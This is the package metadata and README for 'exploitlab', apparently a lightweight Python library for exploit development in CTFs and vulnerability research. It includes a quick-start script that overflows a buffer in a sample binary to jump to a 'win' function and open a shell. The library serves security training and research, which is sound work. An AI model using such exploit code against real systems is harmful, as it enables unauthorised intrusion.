Metadata-Version: 2.4
Name: exploitlab
Version: 0.2.1
Summary: A modern, lightweight, and robust exploit development library.
Author-email: MrexRight <aratmakefehan@gmail.com>
Project-URL: Homepage, https://github.com/MrEx-Right/exploitlab.git
Project-URL: Bug Tracker, https://github.com/MrEx-Right/exploitlab/issues
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.8
Classifier: Programming Language :: Python :: 3.9
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: License :: OSI Approved :: GNU General Public License v3 (GPLv3)
Classifier: Operating System :: OS Independent
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: pyelftools>=0.29
Requires-Dist: keystone-engine>=0.9.2
Requires-Dist: capstone>=4.0.2
Dynamic: license-file

# ExploitLab 🧪

A modern, lightweight, and robust exploit development library designed for vulnerability research, CTFs, and exploit engineering.

Built for speed and simplicity, bypassing the bloated features of other libraries while keeping the core functionality you need to pop shells.

[![License: GPLv3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![PyPI version](https://img.shields.io/badge/pypi-v0.2.0-orange.svg)](https://pypi.org/project/exploitlab/)
---

## 🚀 Features

- **Tubes (`Process`, `Remote`)** — Seamless I/O communication with local binaries and remote network sockets. Includes non-blocking `.interactive()` shells.
- **ELF Analysis** — Fast parsing of binary symbols, GOT/PLT addresses, and memory searching using `pyelftools`.
- **Assembly & Shellcoding** — On-the-fly assembly compilation using `keystone-engine` and ready-to-use shellcode templates.
- **Memory Packing** — Robust `p32`, `p64`, `u32`, `u64` conversions.
- **Pattern Generation** — De Bruijn cyclic pattern generators (`cyclic`, `cyclic_find`) to instantly find buffer overflow offsets.
- **Context Management** — Global architecture (`amd64`, `i386`) and colored logging configuration.

---

## 📦 Installation

```bash
pip install exploitlab
```

---

## 🛠️ Quick Start

Here is a quick example of how to use ExploitLab to solve a classic buffer overflow challenge:

```python
from exploitlab import *

# 1. Set global context (Auto-adjusted if ELF is loaded)
context.arch = 'amd64'

# 2. Analyze the binary
e = ELF('./target_binary')
log.info(f"Target 'win' function is at: {hex(e.symbols['win'])}")

# 3. Start the process (or use Remote('10.10.10.10', 1337))
p = Process('./target_binary')

# 4. Craft the payload
offset = 40
payload = b"A" * offset
payload += p64(e.symbols['win'])  # Convert address to bytes

# 5. Exploit!
p.recvuntil(b"Enter payload: ")
p.sendline(payload)

# 6. Enjoy your shell
p.interactive()
```

---

## 📚 Official Documentation

Looking for the complete API reference, exception handling, and detailed examples? We’ve got you covered.

The complete and official **ExploitLab Documentation** is available as a comprehensive PDF file. 

### [ExploitLab Documentation (PDF)](https://github.com/MrEx-Right/exploitlab/tree/main/docs/exploitlabdoc_v0.2.0.pdf)
Happy Hacking! 🧪
